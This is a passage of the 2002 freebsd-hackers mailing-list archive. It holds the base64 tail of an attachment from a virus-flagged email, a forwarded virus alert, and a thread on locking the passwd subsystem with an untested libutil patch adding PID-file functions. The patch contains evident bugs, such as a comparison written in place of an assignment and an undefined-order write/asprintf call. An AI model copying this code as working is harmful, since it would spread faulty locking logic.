Zv8AM/8AAMz//8z/zMz/mcz/Zsz/M8z/AMzM/8zMzMzMmczMZszMM8zMAMyZ/8yZzMyZmcyZZsyZ M8yZAMxm/8xmzMxmmcxmZsxmM8xmAMwz/8wzzMwzmcwzZswzM8wzAMwA/8wAzMwAmcwAZswAM8wA AJn//5n/zJn/mZn/Zpn/M5n/AJnM/5nMzJnMmZnMZpnMM5nMAJmZ/5mZzJmZmZmZZpmZM5mZAJlm /5lmzJlmmZlmZplmM5lmAJkz/5kzzJkzmZkzZpkzM5kzAJkA/5kAzJkAmZkAZpkAM5kAAGb//2b/ zGb/mWb/Zmb/M2b/AGbM/2bMzGbMmWbMZmbMM2bMAGaZ/2aZzGaZmWaZZmaZM2aZAGZm/2ZmzGZm mWZmZmZmM2ZmAGYz/2YzzGYzmWYzZmYzM2YzAGYA/2YAzGYAmWYAZmYAM2YAADP//zP/zDP/mTP/ ZjP/MzP/ADPM/zPMzDPMmTPMZjPMMzPMADOZ/zOZzDOZmTOZZjOZMzOZADNm/zNmzDNmmTNmZjNm MzNmADMz/zMzzDMzmTMzZjMzMzMzADMA/zMAzDMAmTMAZjMAMzMAAAD//wD/zAD/mQD/ZgD/MwD/ AADM/wDMzADMmQDMZgDMMwDMAACZ/wCZzACZmQCZZgCZMwCZAABm/wBmzABmmQBmZgBmMwBmAAAz /wAzzAAzmQAzZgAzMwAzAAAA/wAAzAAAmQAAZgAAMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAHEALAAAAADcAMUA AAj/AOMIHEiwoMGDAACQAKBi4cGHECNKnEixosWLGDNq3MgxjhMVTkKK7EiypMmTKFOqfCiypYqV MGPKnEnzIomWIknU3Mmzp0+OOEUC+Em0qFGfAIKGPMq0qVOTIEWCVDH0qdWrWB8uTFg1q9evYMOK HQuWq9k4CruSXcuW5E2lS9vKnXsRbkiddPPqNZjU7t6/f6MqfQm48Fy7TvAaXjy2L1zGkMW+HRy5 steEDgeqtcy5s+fPBbnGaUgYpeihaRWDXi1w8kiSDBOrEByUtW2POEtzdG1X9e3OjnOWpG1382/L vBPDJv74+OegVN0iFur8M1WdxjcyV5qdIGrMCquL/w+OWDOJ2ee3vxZ/nDxcxdNzswcO8SZI++fz RxfoHnH3+XmRkN9HsvGlGVoRJVfeU5sZ9x+AAm2nm0bqUTaRWQKmdRF4Dukn1VRSnSfbQg6hBiFu QfmWUXwt4cWQgPcRaNeE/KUWFXMosjgdeiY6p+B+2ukYVxwKTvcdjBXilJCQTN4FJGvbqYgRk4T1 t6NCTQqVZJYzfvTgYu91ZCVcVRWJGFVbwkUVl2y69OVeP76ZIJMDpZnimNMt1OaeUskpF0Nn+RmR nSFVmSVVePpnJp9NPnkiQfqdl1pCCFKKVpYLEZpbooweKihPmJEmZUqfDprlklzq2emqLZYqU4om mf+o0HX2uRqap4v6pymrTY7ak3snbWkrpJjG5imvyMJaFHE0bpTncMXumhOnyfI5bEfQxWokbJ5S y5201ab6q7LSzXhta8Xmqqa34fLpaEwKkdgjSTti1CC4CYGbGLvtMnruUYn6JhqJon7U0EACFupk epJuVSKbWPYrsVR0Jfmkt75apO5g/E7s71VddYckoPlZirCO/46Wasceu5tyRzB+JGLGFBkbX0ks L8XseUio0DOMP5PWMps0z0QmtywWPdHG2ZaIYEQh81dpwvoi+25NcZZ7M7RShUjadeAZPbR/P0XJ db3egTfrgAorlpZZcMcdnthj9zauUkpDraNq/Fb/xVVDkbYtn0xMt9wsTBL+y7Ra/NbJ5csQ2Yla whJDHlGYJBFakKaGcjkTtQKL2G5Nk4qGdG4ETsW4pmVyefhJG49a+OMbzUvUWQYWNLvjp9J95pez M5l3QxHP1lbhnWf5OYuv6171mRQ1Bxtak4oaK+voHjqTnXlnzyvNCnZ/eYXNa0xnhLTLJHlGOf8e OXc4b3t2fC6ySVPStT8PP0tKQeX+ckJqHaZmsrFrRWxV2VHQy54VPyHxrkmWOwjK5rcnKd1IZlez FwMtkkDogChS/LGfTKhVPg52SiuVSonFGDe5/HiIeAh52oEOErxCEZBFlqthbXyyQe/JjyM2Y1IE /w2yPtNUkFTUy87aRAW21emogcobIf5WUrV/fU1hNhTT3kqiQ/FlJHYxESG2ipO5CYrJYl6TlO/M FZMaKm5GXGSegUwkryWaBz2I2gruQCXHmOCrjJgD4hY1Mxsz8oUrGVrTVJAwxM1NESae06JfTjcd 3Z1vNB4yJCTjk0EoBlBr/QMk2h5IPx9eEiage1XvxhhIjnDPO4WrCtFuWMowRrEjTJRXZgTpEgLp Z0K7u1T6bHmlNg5QMhqSE+fQF0l4PZKKtzRQpkaoGZMBUVOkFJIXMVLETVKJJcT511ACd58bxdGB wlwlMX+oEpZJyT0lnEg3XalNU6LTmbX05im9Q/+u/LHIk/GRpetoOR0D4PObEtwUKO220EqmE4Jr XJcxe8U/l1DwaKJEHQYPprJmovKZKvmjBAEXLwBujYPWJBJ2AiXDrsxSfSA1YqOglpKNlUaP5JTR kGoHsYhybKLC60k3gwozMX40n9Bs0q+YAyL0aGafGnmpH2OKEu1xMTWYbJDTorYZpUpSnfpkI0xq uM2EZouVOGSfhsiXuhcBanlIDWk0eanQ3QiRkGkppH3gVzK5+bWsF5knqayaUYrh8nxBNCQil7hX JclQaoFymtQux8lG2jOuzsIbvepJJE8V8lS91NGNMtQgqp7Eo3R1rF0/2VHhtU9VvEqK6Ng52Jn/ XvQjhYUeWqSFKIjpj1GdbGhATYIft56LX3ip4XV8WzecAJYi4ArLXsupn8VmM2ntQ1VzqbNO0dbM KLKqWfB6+zgd8mo2jSRr9J4LtXHOrai9SmwAf8sqGJ52rhBxwsuaetbDxpdo7euXfVPr3eilLGAm FRJ5T2Vej3GUQseUJ3H/t1rXmjfAQwtufvFbH5OMkp7x1Zd2txtfE9r2uyXpoUbkeyUWB5S+dYtn ZyHak1wx7kDjNADBdvkjEZFUXjNuFIZJfBd5cnh7iPFNzH5ouseaqlhO8hKJ9EgkSo0TRkvO8H9Y JuOqygzLYHPkPxNMp9PgDC2zldioRBqrJGqr/4/w5aTMcCvFoRkHtRtJM3crTFsI+1JUfk1pUjPM T4retsvvGzO8Fgu4B3d3aCej8Wb7ueJBwpLRGWpra9D8y0Uh+os4nFVsc3TPOLuJkmR76j2liri0 8kfPbQLXpx9ittxKj5l9zG6dP3zH5h64lXmG82Uxp69Z28S0rx7b9YL2thQPJnW7fOhJWT3oVEuk wUQNC6JYmuhcGzWsEq0IjK3NFNtdk7PFhquKoTs6n4B5QPd58xMFQm2VaJKD47bo3ch4Tm/j2d6Y 3RCyLNttjJ6RtTo0tvk4CRts4+Qn6670PfXFXiMP18OMqrgGEWPQfjN8t/9OCbL93CaC05rCF//a cG4+iKbkDpRwI5f4t2uy7iWDSLU1Cm94iSgumBaznWxSOE+hI5xCn5TApV4JCQ9615/ALYVqgbVm hftxoCZZlV4VE4JK5lT/XtzrzNsXkr8OdEMjvUViYhrOBNMQg5Wuybu++lQlHaRwDz3g5qajigId qnhp2Nb9XUnI6wJHsC+o1zFSTzUzlUmGzh3ltc02UBwf7Krj+uPtU7fcW033zBpc5j108f7SDfOA 3zfraHUu4HcY6XmTmrWPJ3fkFYxxJ5FGcVPJJZpTirxhHx3cFuJ808/cSHNDDXuvL3DsKQ9w1NOk QURKYrTvPmZdYx3yKFEvT3ys0SKvXlnm1Tz/81UI1s/Zae2sJb3VCw98XhNUt6bemvUf/fnZWxpr ro6/bsMf9/GjhM3Pd35kJj8UN3Z95mXOJ35qEhpQB3WOhiX3ISAw8nQhNEztFxQEp3070U03ZzFU 93tlF3HBUn4jtDGqdm8r8nLrBxcdd4Hsh39tIyqkdV2HN3kkKHL5F4KcBSqEd38agTzooXF6Y3q1 B1VXMTtKlEK7V10qk3ikRWVClYPNZ4RWsSuvdnPd1xLfwXfX0Xa4RSnXUSlvs3PRI4UyJXlZQVRc Fi8McUU3E3SSEh6lRYS3dYAM0nTgkinicl7RcUAcx3TK5xVWCHJUMmJCNGQus4J02BRq6FnM/0Vk QnhynXeEchYSAuRaAEZk3ueCCwgWXSiB1mUc+JJdiGgtiiiCeqFcfihEmohzIziJf0FW7bMmrYiB p0d7jCF666KLxVGK1eJooGZ2hrGGF1aLlUVySVcYebiKe+OLEzNgF0JYw+hGvEgmztgyfqKBhqFe 2WWMrvMl0QUZ5EQ8feVmrYWJ3thzCCGNliEn1fgt6RhrNBRh7HFh+daKmxGOANJF12iMJ4iL88Fi gvFub6NHfbdEqROPR6ON41EoJOJkpoFmjaZTtSh1dugcJlcRoXKPhvMol6GHCglsHpkVohaS6zGS YvE3Cil0KGkUFulrLZkX/Th4MbkWLylgNYBZGA5HjzmpFyU5MT2ZixMTiUFJieGSkUVZFMx4QkmJ HOfVlJzxjjEHlX9RilTpGUu5g1cZlSW3laChQ165GlKZRWH5GTfpimUJHJqTlqyhLkTJlmtxkXBZ GXgyl7chkHZ5l/uTl6wBLHx5lwP5l7/hGEgpmJexU4bZliyZmF4ZEAA7 ------=_NextPart_000_00C9_01F9F3D5.CDF3D510-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 5:41: 1 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.ntplx.net (mail.ntplx.net [204.213.176.10]) by hub.freebsd.org (Postfix) with ESMTP id 896BC37B400 for ; Sun, 23 Jun 2002 05:40:52 -0700 (PDT) Received: from ntplx.net (dhcp-209-54-72-110.ct.dsl.ntplx.com [209.54.72.110]) by mail.ntplx.net (8.11.6/8.11.4/NETPLEX) with ESMTP id g5NCeoY11017 for ; Sun, 23 Jun 2002 08:40:50 -0400 (EDT) Message-ID: <3D15C3D6.F62B21EE@ntplx.net> Date: Sun, 23 Jun 2002 08:49:26 -0400 From: Ted Sikora X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18 i686) X-Accept-Language: en-US,en-GB MIME-Version: 1.0 To: "freebsd-hackers@FreeBSD.ORG" Subject: [Fwd: VIRUS IN MAIL FOR YOU (from ) ()] Content-Type: multipart/mixed; boundary="------------C84DABC769419245D5694DA6" X-Virus-Scanned: by AMaViS and CyberSoft VFind Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------C84DABC769419245D5694DA6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit -- Ted Sikora tsikora@unixos2.org http://unixos2.org --------------C84DABC769419245D5694DA6 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Return-Path: Received: (from amavis@localhost) by mail.ntplx.net (8.11.6/8.11.4/NETPLEX) id g5NCWxa09805; Sun, 23 Jun 2002 08:32:59 -0400 (EDT) Date: Sun, 23 Jun 2002 08:32:59 -0400 (EDT) Message-Id: <200206231232.g5NCWxa09805@mail.ntplx.net> X-Authentication-Warning: mail.ntplx.net: amavis set sender to virus-warning@ntplx.net using -f From: To: Subject: VIRUS IN MAIL FOR YOU (from ) () X-Mozilla-Status2: 00000000 V I R U S A L E R T Our virus checker found the virus in an email to you from: owner-freebsd-hackers@FreeBSD.ORG Delivery of the email was stopped! Please contact your system administrator for details. Replies to this notification message will be discarded. For your reference, here are headers from the email: ------------------------- BEGIN HEADERS ----------------------------- Return-Path: Received: from hub.freebsd.org (hub.FreeBSD.org [216.136.204.18]) by mx2.freebsd.org (Postfix) with ESMTP id 1214B55802; Sun, 23 Jun 2002 05:32:43 -0700 (PDT) (envelope-from owner-freebsd-hackers@FreeBSD.ORG) Received: by hub.freebsd.org (Postfix, from userid 538) id 7299E37B403; Sun, 23 Jun 2002 05:32:39 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with SMTP id 2702D2E8023; Sun, 23 Jun 2002 05:32:39 -0700 (PDT) Received: by hub.freebsd.org (bulk_mailer v1.12); Sun, 23 Jun 2002 05:32:38 -0700 Delivered-To: freebsd-hackers@freebsd.org Received: from excalibur.skynet.be (excalibur.skynet.be [195.238.3.90]) by hub.freebsd.org (Postfix) with ESMTP id EC07737B401 for ; Sun, 23 Jun 2002 05:31:13 -0700 (PDT) Received: from relay.compaqnet.be (free19276.powered-by.skynet.be [62.4.203.76]) by excalibur.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.19) with SMTP id g5NCTF815593; Sun, 23 Jun 2002 14:29:15 +0200 (MET DST) (envelope-from ) Date: Sun, 23 Jun 2002 14:29:15 +0200 (MET DST) Message-Id: <200206231229.g5NCTF815593@excalibur.skynet.be> From: De Brabandere Jean-Luc SUBJECT: Die zich bevinden in mijn effectendossier. X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C9_01F9F3D5.CDF3D510" Content-Transfer-Encoding: 7bit To: undisclosed-recipients: ; Sender: owner-freebsd-hackers@FreeBSD.ORG List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Precedence: bulk -------------------------- END HEADERS ------------------------------ --------------C84DABC769419245D5694DA6-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 6:55:29 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 441C637B405; Sun, 23 Jun 2002 06:54:47 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5ND03B27884; Sun, 23 Jun 2002 08:00:04 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id AEDD11F02; Sun, 23 Jun 2002 08:54:41 -0500 (CDT) Date: Sun, 23 Jun 2002 08:54:41 -0500 From: "Matthew D. Fuller" To: "Geoffrey C. Speicher" Cc: freebsd-hackers@freebsd.org, Matt Simerson , Paul Herman , Oliver Fromme Subject: Locking the passwd subsystem (was Re: bug in pw, -STABLE [patch]) Message-ID: <20020623135441.GC81018@over-yonder.net> References: <20020623024804.GB95458@over-yonder.net> <20020623084607.H29729-100000@sea-incorporated.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline In-Reply-To: <20020623084607.H29729-100000@sea-incorporated.com> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline [ Moved to -hackers since this isn't really a STABLE-specific issue, but rather a general thing. Bcc's to -stable for continuity's sake. ] This discussion has gone on, on and off, for months now, so I'm going to recap a bit. For the people in it, we've mostly paged out the details by now, and for the people not in it, this will be necessary catchup. pw(8) can sometimes corrupt the passwd file when it's running. This is due to the fact that, while it munges things, it locks /etc/master.passwd. This fails to really work right between invocations, because as part of its dirty work, pw(8) moves master.passwd away and creates a new one from scratch. So, an external lockfile is needed. There's no real common locking among the other consumers (chpass(1), passwd(1), vipw(8), pwd_mkdb(8), etc) either, so we might as well make a big common locking mechanism out of it. And while we're doing that, it would be nifty to centralize some functions for doing locking like that, too, instead of coding it from scratch in every application that needs it. The patch on this mail accomplishes this part of the objective; once we can all settle on that, we can easily handle locking all the consumers neatly using these functions. And now, for the carrying on. On Sun, Jun 23, 2002 at 09:07:15AM -0400 I heard the voice of Geoffrey C. Speicher, and lo! it spake thus: > > Actually, now that I think about it, even a daemon wouldn't guarantee > better results in every such scenario. At first it would seem that the > daemon would get a chance to clean up the pid file long before another > process wanted it (during step 4). However, if the timing is just right > then p1 can die the moment that its pid would be reused, and chances are > that the daemon wouldn't catch it in time. Well, a daemon would have a BETTER chance, though nowhere near a guarantee. The theory being that the daemon would check every so often (5 minutes sounds good to me), whereas with the library, you potentially could not check for days, depending on how often you run pw(8). Even on a heavily used system, 5 minutes wouldn't likely be enough to reuse a PID, unless you had random PID assignment or some such. > > Now, this is a problem. There's a race condition here. It's a very > > small window, to be sure, but I'm not quite sure how to close it. After > > I think you must've figured it out judging by your post that just came > through as I was writing that previous paragraph. :) I think so. See comments in the code. (Re: Oliver's statements about the general evil of PID files) > The beauty of encapsulating the pid file operations into a library is > that > the implementation can be changed to create a socket instead of, or (more > likely) in addition to, a pid file. In fact, this may be just the thing > we need to close that "pid gets reused" hole. > > Since Matt already has the functions mostly implemented, I'll defer to > him. Well, there's nothing necessarily stopping us from adding more stuff later, of course. Personally, I've set my sights a bit lower; for the moment, I'm more concerned with "Let's not corrupt the passwd database" than with "This must never block unless totally absolutely completely necessary and should always know where its cheese is", which is what the socket-theory is pointing at. One giant code upheaval at a time :) One possibility would be to make procfs(5) show the process start time (rather than the current time) for the ctime of the /proc/pid directory. Then, one could look at the PID file, and if its mtime (not ctime; see in below code where we could use a pre-existing file) is older than the ctime of the /proc/pid directory, we'd know the PID had changed. Getting the actual process start time would require libkvm (and thus setgid kmem), or spawning ps(1) and parsing output, otherwise. ANYWAY: Attached is a patch (relative to src/) for my first run through creating the functions to handle PID-file creation, deletion, and checking-on-creation. It consists of two functions: - pid_begin(), which creates a PID file if one doesn't exist, and checks to see if the listed process is still around (taking over the PID file if it's not) if it does. - pid_end(), which deletes the PID file. Code is reasonably well commented. Manpage included. Shaken, not stirred. Slippery when wet. This has gone through a compile test, but hasn't been live-tested. This will provide the basis then to move forward and lock all the programs that access the passwd database (for writing, of course; no reason to lock readers) in a common way. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=diffs Index: lib/libutil/Makefile =================================================================== RCS file: /usr/cvs/src/lib/libutil/Makefile,v retrieving revision 1.46 diff -u -r1.46 Makefile --- lib/libutil/Makefile 8 May 2002 00:50:07 -0000 1.46 +++ lib/libutil/Makefile 23 Jun 2002 13:31:01 -0000 @@ -8,7 +8,7 @@ CFLAGS+=-DINET6 SRCS= _secure_path.c auth.c fparseln.c login.c login_auth.c \ login_cap.c login_class.c login_crypt.c login_ok.c login_times.c \ - login_tty.c logout.c logwtmp.c property.c pty.c \ + login_tty.c logout.c logwtmp.c pid_util.c property.c pty.c \ pw_util.c realhostname.c stub.c \ trimdomain.c uucplock.c INCS= libutil.h login_cap.h @@ -16,7 +16,7 @@ MAN+= login.3 login_auth.3 login_tty.3 logout.3 logwtmp.3 pty.3 \ login_cap.3 login_class.3 login_times.3 login_ok.3 \ _secure_path.3 uucplock.3 property.3 auth.3 realhostname.3 \ - realhostname_sa.3 trimdomain.3 fparseln.3 + realhostname_sa.3 trimdomain.3 fparseln.3 pid_util.3 MAN+= login.conf.5 auth.conf.5 MLINKS+= property.3 properties_read.3 property.3 properties_free.3 MLINKS+= property.3 property_find.3 @@ -39,5 +39,6 @@ MLINKS+=login_auth.3 auth_checknologin.3 login_auth.3 auth_cat.3 MLINKS+=uucplock.3 uu_lock.3 uucplock.3 uu_lock_txfr.3 \ uucplock.3 uu_unlock.3 uucplock.3 uu_lockerr.3 +MLINKS+=pid_util.3 pid_begin.3 pid_end.3 .include Index: lib/libutil/libutil.h =================================================================== RCS file: /usr/cvs/src/lib/libutil/libutil.h,v retrieving revision 1.37 diff -u -r1.37 libutil.h --- lib/libutil/libutil.h 8 May 2002 00:50:07 -0000 1.37 +++ lib/libutil/libutil.h 23 Jun 2002 12:35:30 -0000 @@ -82,6 +82,8 @@ struct sockaddr; int realhostname_sa(char *host, size_t hsize, struct sockaddr *addr, int addrlen); +int pid_begin(const char *pidfile, mode_t mode, int flags); +int pid_end(const char *pidfile); #ifdef _STDIO_H_ /* avoid adding new includes */ char *fparseln(FILE *, size_t *, size_t *, const char[3], int); #endif @@ -128,5 +130,8 @@ /* pw_scan() */ #define PWSCAN_MASTER 0x01 #define PWSCAN_WARN 0x02 + +/* pid_begin() */ +#define PID_NOBLOCK 0x01 #endif /* !_LIBUTIL_H_ */ Index: lib/libutil/pid_util.c =================================================================== --- /dev/null Sun Jun 23 08:44:01 2002 +++ lib/libutil/pid_util.c Sun Jun 23 07:34:28 2002 @@ -0,0 +1,176 @@ +/*- + * Copyright (c) 2002 Matthew D. Fuller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "$FreeBSD$"; +#endif /* not lint */ + +/* + * These functions are for maintenance of locking PID files + */ + +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include + + +#define PID_LEN 6 /* Currently only need 5 (0-99,999) */ + +/* + * pid_begin: Open a PID file and write PID into it. If one already + * exists, try and track down the process which opened it; if it can't be + * found, proceed as if the file weren't even there. + */ +int +pid_begin(const char *pidfile, mode_t mode, int flags) +{ + int procdead=0; + int lockfd; + int holding=0; + pid_t masterpid; + char *pidstr; + char readpid[PID_LEN+1]; + +start: + if( (lockfd=open(pidfile, O_RDWR | O_CREAT | O_EXCL | O_EXLOCK, + mode)) < 0 ) + { + if(errno!=EEXIST) + return(-1); /* Preserve errno */ + + /* Open and find PID */ + if( (lockfd=open(pidfile, O_RDWR | O_EXLOCK, mode)) < 0 ) + { + if(errno==ENOENT || errno==EWOULDBLOCK) + { + /* + * This could use some thought. We're going to + * tight-loop if someone else has the file locked + * (EWOULDBLOCK). In theory, any locks should be + * quite short-lived, so I THINK this will be fine. + */ + goto start; + } + else + return(-1);/* Preserve errno */ + } + + if( read(lockfd, readpid, PID_LEN) < 0 ) + { + holding==errno; + close(lockfd); + return(holding); + } + + masterpid = (pid_t) atoi(readpid); + if(masterpid<1) /* This shouldn't happen */ + { + /* This is really a NFS error, but we'll abuse it */ + errno=ECANCELED; + return(-1); + } + + /* + * There's a number of ways we could approach this. We could + * stat /proc/$PID, but that would fail if /proc wasn't + * mounted. We could use libkvm, but that would require + * linking libutil with it, as well as being setgid kmem on + * the app (which we can't really count on). We could + * fork/exec ps(1), but that's a bit ugly. + * I'm going to do it in a rather ugly way. SIGWINCH is + * fairly harmless in the cases where it's used, and is + * ignored by default. These functions are aimed at daemons, + * which will generally have no use for it, and thus not + * change it from the default discard. + * Note that zombie'd processes count as 'nonexistent' to + * kill(2). + */ + if( kill(masterpid, SIGWINCH) < 0 ) + if(errno==ESRCH) + procdead=1; + else + procdead=0; + else + procdead=0; /* kill(2) succeeded */ + + if(procdead==0) + { + /* Old locker is still alive */ + close(lockfd); + if( (flags & PID_NOBLOCK) ) + { + errno=EWOULDBLOCK; + return(-1); + } + else + { + sleep(1); /* Arbitrary */ + goto start; + } + } + /* Old lockholder is dead: fallthru */ + } + + /* + * If we get here, we either ARE the O_EXCL opener, or the process + * listed in the file is dead and we're taking it over. + */ + ftruncate(lockfd, 0); + write( lockfd, pidstr, asprintf(&pidstr, "%d", getpid()) ); + free(pidstr); + + close(lockfd); + return(0); +} + + +/* + * pid_end: Clean up a lock we hold. + */ +int +pid_end(const char *pidfile) +{ + /* + * We SHOULDN'T need to aquire a lock on the file, since the only + * time anybody else should be writing into it would be if we're + * dead, and thus we wouldn't be in this function. If they're just + * reading it, unlink()'ing it out from under them won't do any + * damage. If we're still alive, pid_begin() should close() the file + * and attempt to re-open() for the next attempt, so this should work + * nice and cleanly. + */ + return(unlink(pidfile)); +} Index: lib/libutil/pid_util.3 =================================================================== --- /dev/null Sun Jun 23 08:44:01 2002 +++ lib/libutil/pid_util.3 Sun Jun 23 08:29:49 2002 @@ -0,0 +1,106 @@ +.\" Copyright (c) 2002 Matthew D. Fuller +.\" All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +.\" ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +.\" SUCH DAMAGE. +.\" +.\" $FreeBSD$ +.\" +.Dd June 23, 2002 +.Os +.Dt PID_UTIL 3 +.Sh NAME +.Nm pid_begin , +.Nm pid_end +.Nd "handle locking and unlocking of PID files" +.Sh LIBRARY +.Lb libutil +.Sh SYNOPSIS +.In sys/types.h +.In libutil.h +.Ft int +.Fn pid_begin "const char *pidfile" "mode_t mode" "int flags" +.Ft int +.Fn pid_end "const char *pidfile" +.Sh DESCRIPTION +The function +.Fn pid_begin +attempts to open the file referenced by +.Fa pidfile +and write the process ID to it. +If the file already exists, +.Fn pid_begin +will determine if the process listed in +.Fa pidfile +still exists. +If the process is still alive, +.Fn pid_begin +will block and continue to try aquiring the lock indefinately, unless +.Dv PID_NOBLOCK +is set in the +.Fa flags , +in which case it will return an error. +If the old process is dead, or the file doesn't exist, +.Fn pid_begin +will put its own process ID in the file and continue on its merry way. +.Pp +.Fn pid_end +removed the file referenced by +.Fa pidfile . +Note that there is currently no protection afforded here that the process +calling +.Fn pid_end +is actually the process that opened the PID file in the first place. +.Sh RETURN VALUES +If successful, +.Fn pid_begin +and +.Fn pid_end +will return 0. +They will return -1 on failure, and set +.Va errno +to indicate the error. +.Sh ERRORS +.Fn pid_begin +will leave behind a PID file unless: +.Bl -tag -width Er +.It Bq Er ECANCELED +The operation was cancelled due to internal error. +.It Bq Er EWOULDBLOCK +The file is already locked by a still-live process and +.Fa mode +includes +.Dv PID_NOLOCK . +.El +.Pp +The +.Fn pid_begin +function may also fail and set errno for any of the errors specified for +the routines +.Xr open 2 +or +.Xr read 2 . +.Pp +The +.Fn pid_end +function may fail and set errno for any of the errors specified for the +routine +.Xr unlink 2 . --FL5UXtIhxfXey3p5-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 7: 1:54 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 0975237B403; Sun, 23 Jun 2002 07:01:50 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5ND77B28002; Sun, 23 Jun 2002 08:07:09 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id 01A131F06; Sun, 23 Jun 2002 09:01:34 -0500 (CDT) Date: Sun, 23 Jun 2002 09:01:34 -0500 From: "Matthew D. Fuller" To: Martin Faxer Cc: nsouch@FreeBSD.org, hackers@FreeBSD.org Subject: Re: ppbus questions Message-ID: <20020623140134.GD81018@over-yonder.net> References: 